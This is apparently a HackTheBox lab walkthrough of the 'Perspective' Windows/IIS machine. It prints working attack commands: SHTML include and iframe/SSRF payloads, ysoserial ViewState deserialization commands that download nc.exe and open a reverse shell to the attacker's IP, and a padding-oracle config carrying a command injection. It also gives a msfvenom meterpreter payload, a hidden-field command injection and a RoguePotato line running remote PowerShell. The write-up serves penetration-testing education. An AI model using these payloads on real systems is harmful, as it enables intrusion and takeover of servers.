Perspective HTB Walkthrough

Perspective

Perspective machine on HackTheBox, submitted by w1nd3x. The machines start from a web server, running IIS. Eventually, it led to admin panel hijacking, using misconfiguration in forget password functionality. We exploit insecure upload functionality, leading us to get the web config and XXS. Later we get all the important fields to exploit a viewstate .Net deserialization. After the enumeration, we find a new web server, We exploit Oracle Padding to obtain root. Later in the walkthrough, we discuss the unintented ways as well, Token Impersonation and Command Injection into the hidden email field.

Recon:

Starting with the recon part, we use Nmap for the initial recon.

Nmap

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 d6:7f:3f:d4:22:15:ce:64:f3:c8:00:79:bf:f6:f8:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvvNvqDHY0La79TRuhP3rVsxGaYbPZ5rZm601149jVSvANLse2QFcV5+I0J7rPcyv/QnBzKuFjL2LnkQ2PILhXmxp3Lx6DH/CjpLUhDqmNILTkNrfqYmc1FY5tb9PQ6xThCn+/ArvezWlrwkyzD3MeVLFBqz37A2gNTXrRHD9TjTnkQB4hCjaG2vqTXtrwgjeZT60+WCJfrrHkvBpWxj6cTtU8k7IRsQ6x6hgVvNAE7iaCiJXMSXNZb2FHqX8F8Lomm6yb9MBciGwk3y1lUAnpBrgLpJ3oguj8fVne7HtRmLQqkoLChbnY0Cofb+JfMEArowm3sIjeoqx5n/aZe1AN
| 256 08:c6:d4:f3:98:84:0f:fd:4b:ed:e3:a6:25:bd:e7:70 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKidzCrvHuj5D+VtvMBYwBaNG5xkYCKkdC5bAGYSTi7aeQCCTqvUbAGpOUOJGZCy9LwnZF70drFxCuMmRhFCEw=
| 256 32:81:6a:8b:4d:f9:61:09:ff:d3:99:6c:e7:3f:a3:ac (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkzcBfW0X+tsMrF7duDsKuD5uocdxaXFKoT/hKcQtb5

80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Home Page - Northern Sprocket
|_http-favicon: Unknown favicon MD5: 4859E39AE6C0F1F428F2126A6BB32BD9
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0

We see two ports open, and this is one of the classic combinations 22 for ssh and 80 for the webserver. Looking at Nmap, we don’t see we can do much with SSH. We move to the webserver. We use a few programs to get more information about it.

Port 80

Visiting the webpage, we are redirected to its hostname perspective.htb, adding to hostname to the hosts’ file, we see a proper webpage.

Enumeration

1) Whatweb

http://perspective.htb/ [200 OK] ASP_NET[4.0.30319],  
Bootstrap  
Country[RESERVED][ZZ]  
HTML5  
HTTPServer[Microsoft-IIS/10.0]  
IP[10.129.186.140]  
JQuery[3.4.1]  
Microsoft-IIS[10.0]  
Modernizr[2.8.3]  
Script[text/javascript]  
Title[Home Page - Northern Sprocket][Title element contains newline(s)!]  
X-Powered-By[ASP.NET]

2) Feroxbuster

http://perspective.htb/images
http://perspective.htb/contact
http://perspective.htb/products
http://perspective.htb/default
http://perspective.htb/about
http://perspective.htb/contact/contact
http://perspective.htb/default.aspx
http://perspective.htb/about.aspx
http://perspective.htb/content
http://perspective.htb/contact/contact.aspx
http://perspective.htb/admin
http://perspective.htb/static
http://perspective.htb/scripts
http://perspective.htb/account
http://perspective.htb/account/login
http://perspective.htb/account/login.aspx
http://perspective.htb/account/register
http://perspective.htb/account/register.aspx
http://perspective.htb/content/css
http://perspective.htb/account/forgot
http://perspective.htb/account/forgot.aspx
http://perspective.htb/fonts
http://perspective.htb/500.html

3) Gobuster

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://perspective.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/03/22 19:20:11 Starting gobuster in VHOST enumeration mode
===============================================================
Progress:  114442 / 114442 (100%)

We don’t see any helpful information given by gobuster vhost. We do see a few exciting directories in the Feroxbuster result. From the scans, we see some log in and register functionality. We create an account and start to enumerate as an authenticated user. And confirmation in whatweb for .NET and IIS.

We see some exciting stuff, a New Product and an admin email id.

We have two things to enumerate in our checklist. 1) Forget Password Feature 2) New Product

Admin Panel Hijack

Starting with the first one, we use burp to analyze the request.

Answering and moving further, we make an exciting request. The request has an email ID, __VIEWSTATE and a __VIEWSTATEGENERATOR. We are asked a few questions, and these are the same, answered in the registration form. We keep __VIEWSTATE and __VIEWSTATEGENERATOR in our mind and move further with the request.

The question that comes to mind is, what if we change the email id to the admin’s email id. Can we reset the admin’s email id? But the issue is that we don’t know the answer to these questions. We change the email, and it shows a 500.

Going back to forget password page, we add admin’s email and looking at the response; we see that Administrative Users cannot reset the password via security questions

Well, we aren’t asked any security questions. Does that mean we can keep the security questions empty? We keep this questions field empty. We again use our test account and Initiate a password reset. And change the hidden email ID.

Forwarding the request with these changes, we do see we are redirected to forget.aspx. And we see we can change the password. Entering the password and submitting.we get a valid response saying Resetting Password for user: [email protected] ...successfully changed password.

Going back to the login page, we can simply log in as the admin user if we use new credentials.

Insecure File Upload And SSI

Going back to our checklist, we enumerate the New Product feature with our test account. We can upload Image, a Product Name, a Description, and a Suggested Price. We can try for SSTI, XSS, Insecure File Upload at this stage. I will not waste my and your time telling XXS and SSTI in name description, and the price is not going to work due to WAF and black list. We try to upload a few files using extensions like Html, aspx, shtml, js.

  • Shtml
    We create a simple SHTML file and try to upload it to the server; by changing the content-type, we see the file getting uploaded.
    <!--#include file="web.config"-->
    

So now we can check open each config to look at the configurations of .Net. So now we try to get ../web.config.

<!--#include file="../web.config"-->

And we do get a valid response.

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
[...SNIP...]
    </roleManager>
    <compilation debug="true" targetFramework="4.6.1" />
    <httpRuntime targetFramework="4.6.1" />
    <authentication mode="Forms">
      <forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
    </authentication>
    <machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
[...SNIP...]
  <appSettings>
    <add key="environment" value="Production" />
    <add key="Domain" value="perspective.htb" />
    <add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
    <add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
  </appSettings>
</configuration>
<!--ProjectGuid: 32B06320-D9FA-44B2-A1EA-B2547531A4A2-->

From this web.config, we can get all the required information to modify the __VIEWSTATE, but there is an issue, we can get the ViewStateUserKey, but it’s encrypted, and the Secure Password Service is running on localhost port 8000. To communicate with the localhost, we need an XXS or SSRF. We enumerate the admin panel, and we see we have the option to convert the products to PDF.

Decrypting The ViewSateUserKey

We create a PDF, download that and use ExifTool to understand what software/framework/script the backend is using to create this PDF.

We were going back to the test account to test for payloads. As we can see, it’s produced by Skia/PDF we can craft an XXS payload and put in name or description. The list of payloads i tested.

1) script 2) video 3) img 4) meta

Again, I will not waste any time. video and meta can bypass the blacklist and WAF from the above four payloads. We can’t do much using video tag, But when it comes to meta, we can pass an Html Uri, and it executes the HTML page.
The HTML file looks like this:

<link rel="stylesheet" href="http://10.10.xx.xx/styles.css">  

We modify the Description of the product.

And it works. We can bypass black list and WAF.

To trigger the XXS, we open the admin panel and generate a PDF.

We see we have a hit on our web server, and we can conclude that we can execute HTML.

Now we try to communicate with the local host. For the localhost, we have a feature in HTML that can parse/render the code of another website. That is called iframe. We create an iframe tag like this:

<iframe src="http://localhost:8000/" height="2000px" width="2000px" >
</iframe>

Submitting the XXS payload again, we see a hit on the webserver, and we can open PDF to see the iframe info.

And we see that we have two options: GET and another POST, encrypt and decrypt. Searching about SecurePasswordService Admin API, we don’t find anything; it looks like this custom. From the PDF, we have a JSON file. Let’s try to get that its data. http://localhost:8000/swagger/v1/swagger.json. In the x.html, we change the src to the JSON file. Then Generate PDF.

We can see that the decrypt function takes cipherTextRaw and then decrypt the data. So we again change the src of iframe. This time, we have to use form because we are dealing with POST requests.

<html>
<body>
<h1>Pwn3d</h1>
<p><br></p>
<form id="PwnForm" target="iframe"
      method="post" action="http://localhost:8000/decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d" >
    <input type="text">
</form>
<iframe name="iframe"></iframe>
<script type="text/javascript">
    document.getElementById('PwnForm').submit();
</script>
</body>
</html>

We have the key.

Key => SAltysAltYV1ewSTaT3

Initial Foothold

Initial Findings

We have a couple of known things:

1) Key => SAltysAltYV1ewSTaT3
2) ValidationKey => 99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF
3) .Net Version => 4.6.1
4) ViewStateGenerator in Burp Request => 0414C274
5) Validation => SHA1
6) Decryption => AES

.Net Deserialization

Looking forward to .Net Deserialization, we have everything we need to know. We install Ysoserial for .Net Deserialization. After reading the article, we can execute system commands. We can craft payloads like this.

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-WebRequest -URI 10.10.xx.xx/pwn" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"

/wEywAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRl[...SNIP...]
PC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgvRwi7tq0reA1yNCHYnCFLDC2XxQg==

So now if we go on the /Products/ProductList and create a New Product, intercept the request, we see __VIEWSTATE, changing it to our Serialization token, we get a hit on our webserver.

So now we can upload nc.exe and get a reverse shell.

Uploading Netcat

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-WebRequest -URI 10.10.14.28/nc.exe -O C:\Windows\System32\spool\drivers\color\nc.exe" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"

We replace the token again, seeing a hit on our webserver regarding netcat.

Getting Reverse Shell.

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.28 1337" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"

Again, we replace the token and see a reverse connection with cmd.exe.

Privilege Escalation

Enumeration

Navigating to root directory, we see WEBAPPS, Navigating into the directory, we do see three more directories, (PartImages_Staging, AdminPanel and PartImages_Prod) We can download both to compare the difference. And we also to identify where the other server is running.

downlaod PartImages_Prod
downlaod PartImages_Staging

To check the difference we use a tool called meld

img_1.png

From the result, we see there is not much difference in the backed code. Now only difference code be in running the application, this means the parameter used. Example, when we run a flask application, we provide different arguments, like debug, Interface to run on, etc. We are going to enumerate the open ports, and try to identify the Staging server.

netstat -ano

Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2304
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       852
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       4

We do find 8009 and 8000 port exposed on 0.0.0.0 But dude to firewall rules, we were not able to access. Now we will port forward it, using SSH.

ssh -i id_rsa [email protected] -L 8009:127.0.0.1:8009

Now we should be able to access 8009 on our localhost.

img_2.png

DLLs Reverse Engineering

The page is almost the same, the difference we can see on the bottom, the Environment Name is Staging. We will enumerate the page, like before. But it is almost the same. We use dnspy to enumerate the DLLs.

img_3.png

After a while we came across, this redirection.

{
  string variable = "PerspectiveSessionKey" + ConfigurationManager.AppSettings["environment"];
  string str = Utils.Encrypt(value, Environment.GetEnvironmentVariable(variable));
  base.Response.Redirect("/Account/forgot.aspx?token=" + str);
}

We will enumerate this file /Account/forgot.aspx, We already have the source code, we can simply search for this. Opening the file in a text editor, we can see its pointing towards a new file that is located inside handlers directory.

img_4.png

We open the changePassword file as well. Reading the file, we eventually came across a system command execution, using System.Diagnostics class.

img_5.png

We can think of command injection. We see two variables passing to the PasswordReset.exe, the first one is decryptedstring and the second one is password1. Looking at the source code again, we can control the password1 variable but can’t add special chars. Because there is a function called ValidPassword that verifies this password.

    private bool ValidPassword(string Password)
{
    var regex = new Regex("^([a-zA-Z0-9!@#.^]{6,15})$");
    return regex.IsMatch(Password);
}

Now the only possible way, is to inject our system command in the decryptedstring variable. The decryptedstring is the value that is decrypted using perspective.Utils.Decrypt method.

string decryptedstring = perspective.Utils.Decrypt(token, Environment.GetEnvironmentVariable(SessionKeyEnvName));

And we can find this function in the DLL.

{
  byte[] array = Convert.FromBase64String(Utils.UrlSafeB64Decode(input)).ToArray<byte>();
  byte[] bytes = Encoding.UTF8.GetBytes(password);
  byte[] ivBytes = array.Take(16).ToArray<byte>();
  byte[] bytesToBeDecrypted = array.Skip(16).Take(array.Length - 16).ToArray<byte>();
  byte[] bytes2 = Utils.AES_Decrypt(bytesToBeDecrypted, ivBytes, bytes);
  return Encoding.UTF8.GetString(bytes2);
}

The most interesting thing is AES_Decrypt.

public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] ivBytes, byte[] passwordBytes)
{
    byte[] result = null;
    byte[] salt = new byte[]
    {1,2, 3,4,5,6,7,8
    };
    using (MemoryStream memoryStream = new MemoryStream())
    {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 128;
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
            rijndaelManaged.IV = ivBytes;
            rijndaelManaged.Mode = CipherMode.CBC;
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
            {
                cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                cryptoStream.Close();
            }
            result = memoryStream.ToArray();
        }
    }
    return result;
}

Padding oracle attack

It is using AES CBC to encrypt and decrypt the keys. But the issue is, we don’t have the secret key and IV. We can search for attacks related to specify algorithm. We eventually came across Padding oracle attack. We will enumerate forget password page. The interesting part can be seen in the response when we try to modify the token.

img_6.png

And we do see the padding error. Padding is invalid and cannot be removed.

img_7.png

For this attack, we will use a tool called PyOracle2.

python3 pyOracle2.py -h                                                                                                                
usage: pyOracle2.py [-h] [-r RESTORE] [-i INPUT] [-m MODE] [-d] [-c CONFIG]

optional arguments:
  -h, --help            show this help message and exit
  -r RESTORE, --restore RESTORE
                        Specify a state file to restore from
  -i INPUT, --input INPUT
                        Specify either the ciphertext (for decrypt) or plainttext (for encrypt)
  -m MODE, --mode MODE  Select encrypt or decrypt mode
  -d, --debug           increase output verbosity
  -c CONFIG, --config CONFIG
                        Specify the configuration file

The command should be simple. We just have to create a config file, specify the mode, and input. So our command will look like this. For that we will create a directory called pwn in the root of the system and upload nc.exe to it. Now we will create a config file for it.

python3 pyOracle2.py -m encrypt -c perspective.config -i "[email protected] & powershell C:/pwn/nc.exe -e cmd.exe 10.10.14.20 1337"
$ cat perspective.config | grep -v '#'
[default]

name = Name

URL = http://localhost:8009/handlers/changePassword.ashx

httpMethod = POST

postFormat = form-urlencoded

inputMode = parameter

encodingMode = base64Url

vulnerableParameter = token

additionalParameters = {"password1":"FuckCBC1!","password2":"FuckCBC1!"}

blocksize = 16

httpProxyOn = True
httpProxyIp = 127.0.0.1
httpProxyPort = 8080

headers = {"User-Agent":"Mozilla/5.0","Content-Type":"text/html; charset=UTF-8"}

cookies = {}

ivMode = firstblock
iv =  [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

oracleMode = negative

oracleText = is invalid

We will start the tool, as we have added proxy, we can see all the requests in burpsuite.

img_8.png

This will take few mins, It will show a message everytime, when it solves a block.

[!] Solved 1 blocks out of 5
##################################
b'\x8azc\x8f\x10\xa6J-a\x11 \xf1v?\x01\xc9'
##################################
[...SNIP...]
*************************************************
[*]BLOCK SOLVED:
b'\xcbM\xcd\xd7r\xbb\xafR\xb6\xe7I\xcb\x18\xb9\xb7\xea'
*************************************************

And it will automatically use the encrypted token and give a shell as administrator. img.png

nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.151] 56738
Microsoft Windows [Version 10.0.17763.2686]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\windows\system32\inetsrv>whoami
whoami
perspective\administrator

C:\windows\system32\inetsrv>

Privilege Escalation (Simple Command Injection) [Patched]

Start browser with Burp proxy. Open the web page, localhost:8009 and verify if the is different the port 80 by looking at Environment: Staging means the web page is different. Register a user. And move to forget password page. http://127.0.0.1:8009/Account/Forgot. Enter the test email id. And move to security questions page. Keep all the inputs field blank and Initiate Reset. Make sure intersecting request is turn on in burp. Now It’s time to change the ctl00$MainContent$EmailHidden From the source code, we can inject commands like this. Upload a shell, in C:\ProgramData\. The name is somewhat important, make sure the name contains numbers and alphabets.

# Generate: 
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=tun0 LPORT=1337 -f exe > shell.exe

# Upload, start http server:
Invoke-WebRequest -URi 10.10.14.24/shell.exe -O shell9919.exe
  • Command Injection:
    ctl00$MainContent$EmailHidden=test@perspective.htb+whatever|powershell.exe+-c+"C:\ProgramData\shell9919.exe" & ::
    

    Make sure to url encode this.

    ctl00$MainContent$EmailHidden=test%40test.com%2bwhatever|powershell.exe%2b-c%2b"C%3a\ProgramData\shell9919.exe"+%26+%3a%3a
    

    Modify the request and forward it. U will ask form new password. Enter anything and change password and u will get shell as administrator.

Privilege Escalation (Rogue Potato) [Patched]

Executing few commands like whoami /all and systeminfo, we see we are dealing with Microsoft Windows Server 2019 Standard and we have SeImpersonatePrivilege privilege. We can simply use Rogue Potato We are going to follow this [guide](https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html]

First we will convert the shell to meterpreter session. Upload shell onto the machine.

Reference => 0xdf’s Rogue Potato Guide Now we have to transfer rogueOxidResolver.exe and roguePotato.exe

upload RoguePotato.exe
upload RogueOxidResolver.exe

We need to port forward, we will pick 9999.

portfwd add -l 9999 -p 9999 -r 127.0.0.1

We also need to start socat that acts as port 135 SMB.

socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999

We create a shell.ps1 to execute shell.exe and we need start another listener.

Now we get CLSID from the article by 0xdf and start the exploit.

.\RoguePotato.exe -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -r 10.10.14.28 -e "powershell -c iex( iwr http://10.10.14.28/shell.ps1 -UseBasicParsing )" -l 9999

And we get a hit on our http server and it leads us to shell as system.